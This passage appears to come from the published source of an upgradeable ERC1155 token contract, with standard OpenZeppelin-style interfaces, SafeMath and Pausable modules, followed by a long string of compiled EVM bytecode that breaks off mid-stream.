{TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC1155Upgradeable.sol"; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURIUpgradeable is IERC1155Upgradeable { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../introspection/IERC165Upgradeable.sol"; /** * _Available since v3.1._ */ interface IERC1155ReceiverUpgradeable is IERC165Upgradeable { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns(bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns(bytes4); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC165Upgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; function __ERC165_init() internal initializer { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal initializer { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal initializer { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; }
0x608060405234801561001057600080fd5b506004361061020a5760003560e01c80639010d07c1161012a578063cd733766116100bd578063e63ab1e91161008c578063f242432a11610071578063f242432a14610b75578063f5298aca14610c40578063f62d188814610c725761020a565b8063e63ab1e914610b3f578063e985e9c514610b475761020a565b8063cd73376614610ae6578063d539139314610aee578063d547741f14610af6578063dff9a6c114610b225761020a565b8063b0ec9620116100f9578063b0ec962014610a7d578063bd669cc914610aa4578063c4ae316814610ac1578063ca15c87314610ac95761020a565b80639010d07c146109dc57806391d1485414610a1b578063a217fddf14610a47578063a22cb46514610a4f5761020a565b806336568abe116101a25780635b34270a116101715780635b34270a146107925780635c975abb146107bb5780636b20c454146107c35780638cc3a462146108fa5761020a565b806336568abe1461057f57806345c5dc9f146105ab5780634d492a22146105e55780634e1273f41461061b5761020a565b8063248a9ca3116101de578063248a9ca31461034e57806326fbb1d41461036b5780632eb2c2d61461038c5780632f2ff15d146105535761020a565b8062fdd58e1461020f57806301ffc9a71461024d5780630e89341c14610288578063124d91e51461031a575b600080fd5b61023b6004803603604081101561022557600080fd5b506001600160a01b038135169060200135610d18565b60408051918252519081900360200190f35b6102746004803603602081101561026357600080fd5b50356001600160e01b031916610d8a565b604080519115158252519081900360200190f35b6102a56004803603602081101561029e57600080fd5b5035610da9565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102df5781810151838201526020016102c7565b50505050905090810190601f16801561030c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61034c6004803603606081101561033057600080fd5b506001600160a01b038135169060208101359060400135610e41565b005b61023b6004803603602081101561036457600080fd5b5035610ee6565b610373610efb565b6040805163ffffffff9092168252519081900360200190f35b61034c600480360360a08110156103a257600080fd5b6001600160a01b0382358116926020810135909116918101906060810160408201356401000000008111156103d657600080fd5b8201836020820111156103e857600080fd5b8035906020019184602083028401116401000000008311171561040a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561045a57600080fd5b82018360208201111561046c57600080fd5b8035906020019184602083028401116401000000008311171561048e57600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092959493602081019350359150506401000000008111156104de57600080fd5b8201836020820111156104f057600080fd5b8035906020019184600183028401116401000000008311171561051257600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610f03945050505050565b61034c6004803603604081101561056957600080fd5b50803590602001356001600160a01b0316611201565b61034c6004803603604081101561059557600080fd5b50803590602001356001600160a01b031661126d565b6105c8600480360360208110156105c157600080fd5b50356112ce565b6040805167ffffffffffffffff9092168252519081900360200190f35b61034c600480360360408110156105fb57600080fd5b50803567ffffffffffffffff1690602001356001600160a01b03166112d4565b6107426004803603604081101561063157600080fd5b81019060208101813564010000000081111561064c57600080fd5b82018360208201111561065e57600080fd5b8035906020019184602083028401116401000000008311171561068057600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092959493602081019350359150506401000000008111156106d057600080fd5b8201836020820111156106e257600080fd5b8035906020019184602083028401116401000000008311171561070457600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061139c945050505050565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561077e578181015183820152602001610766565b505050509050019250505060405180910390f35b61023b600480360360608110156107a857600080fd5b5080359060208101359060400135611488565b61027461149d565b61034c600480360360608110156107d957600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561080457600080fd5b82018360208201111561081657600080fd5b8035906020019184602083028401116401000000008311171561083857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561088857600080fd5b82018360208201111561089a57600080fd5b803590602001918460208302840111640100000000831117156108bc57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506114a7945050505050565b61023b600480360360c081101561091057600080fd5b6001600160a01b038235169167ffffffffffffffff602082013581169260408301359091169163ffffffff606082013516916080820135919081019060c0810160a082013564010000000081111561096757600080fd5b82018360208201111561097957600080fd5b8035906020019184600183028401116401000000008311171561099b57600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061151b945050505050565b6109ff600480360360408110156109f257600080fd5b5080359060200135611622565b604080516001600160a01b039092168252519081900360200190f35b61027460048036036040811015610a3157600080fd5b50803590602001356001600160a01b0316611641565b61023b611659565b61034c60048036036040811015610a6557600080fd5b506001600160a01b038135169060200135151561165e565b6109ff60048036036020811015610a9357600080fd5b503567ffffffffffffffff1661174d565b6105c860048036036020811015610aba57600080fd5b5035611769565b61034c611779565b61023b60048036036020811015610adf57600080fd5b5035611803565b6105c861181a565b61023b611826565b61034c60048036036040811015610b0c57600080fd5b50803590602001356001600160a01b031661184a565b61037360048036036020811015610b3857600080fd5b50356118a3565b61023b6118af565b61027460048036036040811015610b5d57600080fd5b506001600160a01b03813581169160200135166118d3565b61034c600480360360a0811015610b8b57600080fd5b6001600160a01b03823581169260208101359091169160408201359160608101359181019060a081016080820135640100000000811115610bcb57600080fd5b820183602082011115610bdd57600080fd5b80359060200191846001830284011164010000000083111715610bff57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611901945050505050565b61034c60048036036060811015610c5657600080fd5b506001600160a01b038135169060208101359060400135611acc565b61034c60048036036020811015610c8857600080fd5b810190602081018135640100000000811115610ca357600080fd5b820183602082011115610cb557600080fd5b80359060200191846001830284011164010000000083111715610cd757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611b35945050505050565b60006001600160a01b038316610d5f5760405162461bcd60e51b815260040180806020018281038252602b815260200180613184602b913960400191505060405180910390fd5b5060008181526097602090815260408083206001600160a01b03861684529091529020545b92915050565b6001600160e01b03191660009081526065602052604090205460ff1690565b60998054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610e355780601f10610e0a57610100808354040283529160200191610e35565b820191906000526020600020905b815481529060010190602001808311610e1857829003601f168201915b50505050509050919050565b60c082901c600090815261015f60205260409020546001600160a01b0316331480610e845750610e6f611be0565b6001600160a01b0316836001600160a01b0316145b80610e9b5750610e9b83610e96611be0565b6118d3565b610ed65760405162461bcd60e51b81526004018080602001828103825260298152602001806133796029913960400191505060405180910390fd5b610ee1838383611be4565b505050565b60009081526033602052604090206002015490565b63ffffffff81565b8151835114610f435760405162461bcd60e51b81526004018080602001828103825260288152602001806133cb6028913960400191505060405180910390fd5b6001600160a01b038416610f885760405162461bcd60e51b815260040180806020018281038252602581526020018061327e6025913960400191505060405180910390fd5b610f90611be0565b6001600160a01b0316856001600160a01b03161480610fb65750610fb685610e96611be0565b610ff15760405162461bcd60e51b81526004018080602001828103825260328152602001806132a36032913960400191505060405180910390fd5b6000610ffb611be0565b905061100b818787878787611d17565b60005b845181101561111157600085828151811061102557fe5b60200260200101519050600085838151811061103d57fe5b602002602001015190506110aa816040518060600160405280602a8152602001613326602a91396097600086815260200190815260200160002060008d6001600160a01b03166001600160a01b0316815260200190815260200160002054611d259092919063ffffffff16565b60008381526097602090815260408083206001600160a01b038e811685529252808320939093558a16815220546110e19082611dbc565b60009283526097602090815260408085206001600160a01b038c168652909152909220919091555060010161100e565b50846001600160a01b0316866001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8787604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b8381101561119757818101518382015260200161117f565b50505050905001838103825284818151815260200191508051906020019060200280838360005b838110156111d65781810151838201526020016111be565b5050505090500194505050505060405180910390a46111f9818787878787611e16565b505050505050565b6000828152603360205260409020600201546112249061121f611be0565b611641565b61125f5760405162461bcd60e51b815260040180806020018281038252602f8152602001806130f4602f913960400191505060405180910390fd5b6112698282612095565b5050565b611275611be0565b6001600160a01b0316816001600160a01b0316146112c45760405162461bcd60e51b815260040180806020018281038252602f815260200180613414602f913960400191505060405180910390fd5b61126982826120fe565b60c01c90565b6112e1600061121f611be0565b61131c5760405162461bcd60e51b81526004018080602001828103825260388152602001806131236038913960400191505060405180910390fd5b67ffffffffffffffff8216600081815261015f6020908152604091829020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03861690811790915582519384529083015280517fe6ab85e82b9e5af24b29bbf1eb7fee1e663f5a267d375adc82fdd05f9c7cea4e9281900390910190a15050565b606081518351146113de5760405162461bcd60e51b81526004018080602001828103825260298152602001806133a26029913960400191505060405180910390fd5b6000835167ffffffffffffffff811180156113f857600080fd5b50604051908082528060200260200182016040528015611422578160200160208202803683370190505b50905060005b84518110156114805761146185828151811061144057fe5b602002602001015185838151811061145457fe5b6020026020010151610d18565b82828151811061146d57fe5b6020908102919091010152600101611428565b509392505050565b6000611495848484612167565b949350505050565b60fb5460ff165b90565b6114af611be0565b6001600160a01b0316836001600160a01b031614806114d557506114d583610e96611be0565b6115105760405162461bcd60e51b81526004018080602001828103825260298152602001806131ff6029913960400191505060405180910390fd5b610ee183838361217e565b60006115497f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a661121f611be0565b6115845760405162461bcd60e51b81526004018080602001828103825260268152602001806132286026913960400191505060405180910390fd5b6115a98667ffffffffffffffff168667ffffffffffffffff168663ffffffff16612167565b67ffffffffffffffff8716600090815261015f60205260409020549091506001600160a01b031661160c5767ffffffffffffffff8616600090815261015f60205260409020805473ffffffffffffffffffffffffffffffffffffffff1916331790555b611618878285856123ec565b9695505050505050565b600082815260336020526040812061163a90836124f4565b9392505050565b600082815260336020526040812061163a9083612500565b600081565b816001600160a01b0316611670611be0565b6001600160a01b031614156116b65760405162461bcd60e51b81526004018080602001828103825260298152602001806133506029913960400191505060405180910390fd5b80609860006116c3611be0565b6001600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120805460ff191692151592909217909155611707611be0565b6001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405180821515815260200191505060405180910390a35050565b61015f602052600090815260409020546001600160a01b031681565b60801c67ffffffffffffffff1690565b6117a57f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a61121f611be0565b6117e05760405162461bcd60e51b815260040180806020018281038252602981526020018061315b6029913960400191505060405180910390fd5b6117e861149d565b6117f9576117f4612515565b611801565b6118016125c2565b565b6000818152603360205260408120610d849061264e565b67ffffffffffffffff81565b7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a681565b6000828152603360205260409020600201546118689061121f611be0565b6112c45760405162461bcd60e51b815260040180806020018281038252603081526020018061324e6030913960400191505060405180910390fd5b60601c63ffffffff1690565b7f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a81565b6001600160a01b03918216600090815260986020908152604080832093909416825291909152205460ff1690565b6001600160a01b0384166119465760405162461bcd60e51b815260040180806020018281038252602581526020018061327e6025913960400191505060405180910390fd5b61194e611be0565b6001600160a01b0316856001600160a01b03161480611974575061197485610e96611be0565b6119af5760405162461bcd60e51b81526004018080602001828103825260298152602001806131ff6029913960400191505060405180910390fd5b60006119b9611be0565b90506119d98187876119ca88612659565b6119d388612659565b87611d17565b611a20836040518060600160405280602a8152602001613326602a913960008781526097602090815260408083206001600160a01b038d1684529091529020549190611d25565b60008581526097602090815260408083206001600160a01b038b81168552925280832093909355871681522054611a579084611dbc565b60008581526097602090815260408083206001600160a01b03808b168086529184529382902094909455805188815291820187905280518a8416938616927fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f6292908290030190a46111f981878787878761269e565b611ad4611be0565b6001600160a01b0316836001600160a01b03161480611afa5750611afa83610e96611be0565b610ed65760405162461bcd60e51b81526004018080602001828103825260298152602001806131ff6029913960400191505060405180910390fd5b600054610100900460ff1680611b4e5750611b4e61280f565b80611b5c575060005460ff16155b611b975760405162461bcd60e51b815260040180806020018281038252602e8152602001806132d5602e913960400191505060405180910390fd5b600054610100900460ff16158015611bc2576000805460ff1961ff0019909116610100171660011790555b611bcb82612820565b8015611269576000805461ff00191690555050565b3390565b6001600160a01b038316611c295760405162461bcd60e51b81526004018080602001828103825260238152602001806133036023913960400191505060405180910390fd5b6000611c33611be0565b9050611c6381856000611c4587612659565b611c4e87612659565b60405180602001604052806000815250611d17565b611caa826040518060600160405280602481526020016131af6024913960008681526097602090815260408083206001600160a01b038b1684529091529020549190611d25565b60008481526097602090815260408083206001600160a01b03808a16808652918452828520959095558151888152928301879052815193949093908616927fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f6292908290030190a450505050565b6111f98686868686866128ee565b60008184841115611db45760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611d79578181015183820152602001611d61565b50505050905090810190601f168015611da65780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008282018381101561163a576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b611e28846001600160a01b0316612940565b156111f957836001600160a01b031663bc197c8187878686866040518663ffffffff1660e01b815260040180866001600160a01b03168152602001856001600160a01b03168152602001806020018060200180602001848103845287818151815260200191508051906020019060200280838360005b83811015611eb6578181015183820152602001611e9e565b50505050905001848103835286818151815260200191508051906020019060200280838360005b83811015611ef5578181015183820152602001611edd565b50505050905001848103825285818151815260200191508051906020019080838360005b83811015611f31578181015183820152602001611f19565b50505050905090810190601f168015611f5e5780820380516001836020036101000a031916815260200191505b5098505050505050505050602060405180830381600087803b158015611f8357600080fd5b505af1925050508015611fa857506040513d6020811015611fa357600080fd5b505160015b61203d57611fb4612fd0565b80611fbf5750612006565b60405162461bcd60e51b8152602060048201818152835160248401528351849391928392604401919085019080838360008315611d79578181015183820152602001611d61565b60405162461bcd60e51b81526004018080602001828103825260348152602001806130766034913960400191505060405180910390fd5b6001600160e01b0319811663bc197c8160e01b1461208c5760405162461bcd60e51b81526004018080602001828103825260288152602001806130cc6028913960400191505060405180910390fd5b50505050505050565b60008281526033602052604090206120ad9082612946565b15611269576120ba611be0565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b6000828152603360205260409020612116908261295b565b1561126957612123611be0565b6001600160a01b0316816001600160a01b0316837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45050565b60601b60809190911b60c09290921b919091171790565b6001600160a01b0383166121c35760405162461bcd60e51b81526004018080602001828103825260238152602001806133036023913960400191505060405180910390fd5b80518251146122035760405162461bcd60e51b81526004018080602001828103825260288152602001806133cb6028913960400191505060405180910390fd5b600061220d611be0565b905061222d81856000868660405180602001604052806000815250611d17565b60005b835181101561230b576122c283828151811061224857fe5b60200260200101516040518060600160405280602481526020016131af602491396097600088868151811061227957fe5b602002602001015181526020019081526020016000206000896001600160a01b03166001600160a01b0316815260200190815260200160002054611d259092919063ffffffff16565b609760008684815181106122d257fe5b602090810291909101810151825281810192909252604090810160009081206001600160a01b038a168252909252902055600101612230565b5060006001600160a01b0316846001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8686604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b8381101561239257818101518382015260200161237a565b50505050905001838103825284818151815260200191508051906020019060200280838360005b838110156123d15781810151838201526020016123b9565b5050505090500194505050505060405180910390a450505050565b6001600160a01b0384166124315760405162461bcd60e51b81526004018080602001828103825260218152602001806133f36021913960400191505060405180910390fd5b600061243b611be0565b905061244d816000876119ca88612659565b60008481526097602090815260408083206001600160a01b038916845290915290205461247a9084611dbc565b60008581526097602090815260408083206001600160a01b03808b16808652918452828520959095558151898152928301889052815190948616927fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f6292908290030190a46124ed8160008787878761269e565b5050505050565b600061163a8383612970565b600061163a836001600160a01b0384166129d4565b61251d61149d565b1561256f576040805162461bcd60e51b815260206004820152601060248201527f5061757361626c653a2070617573656400000000000000000000000000000000604482015290519081900360640190fd5b60fb805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586125a5611be0565b604080516001600160a01b039092168252519081900360200190a1565b6125ca61149d565b61261b576040805162461bcd60e51b815260206004820152601460248201527f5061757361626c653a206e6f7420706175736564000000000000000000000000604482015290519081900360640190fd5b60fb805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa6125a5611be0565b6000610d84826129ec565b6040805160018082528183019092526060916000919060208083019080368337019050509050828160008151811061268d57fe5b602090810291909101015292915050565b6126b0846001600160a01b0316612940565b156111f957836001600160a01b031663f23a6e6187878686866040518663ffffffff1660e01b815260040180866001600160a01b03168152602001856001600160a01b0316815260200184815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561273f578181015183820152602001612727565b50505050905090810190601f16801561276c5780820380516001836020036101000a031916815260200191505b509650505050505050602060405180830381600087803b15801561278f57600080fd5b505af19250505080156127b457506040513d60208110156127af57600080fd5b505160015b6127c057611fb4612fd0565b6001600160e01b0319811663f23a6e6160e01b1461208c5760405162461bcd60e51b81526004018080602001828103825260288152602001806130cc6028913960400191505060405180910390fd5b600061281a30612940565b15905090565b600054610100900460ff1680612839575061283961280f565b80612847575060005460ff16155b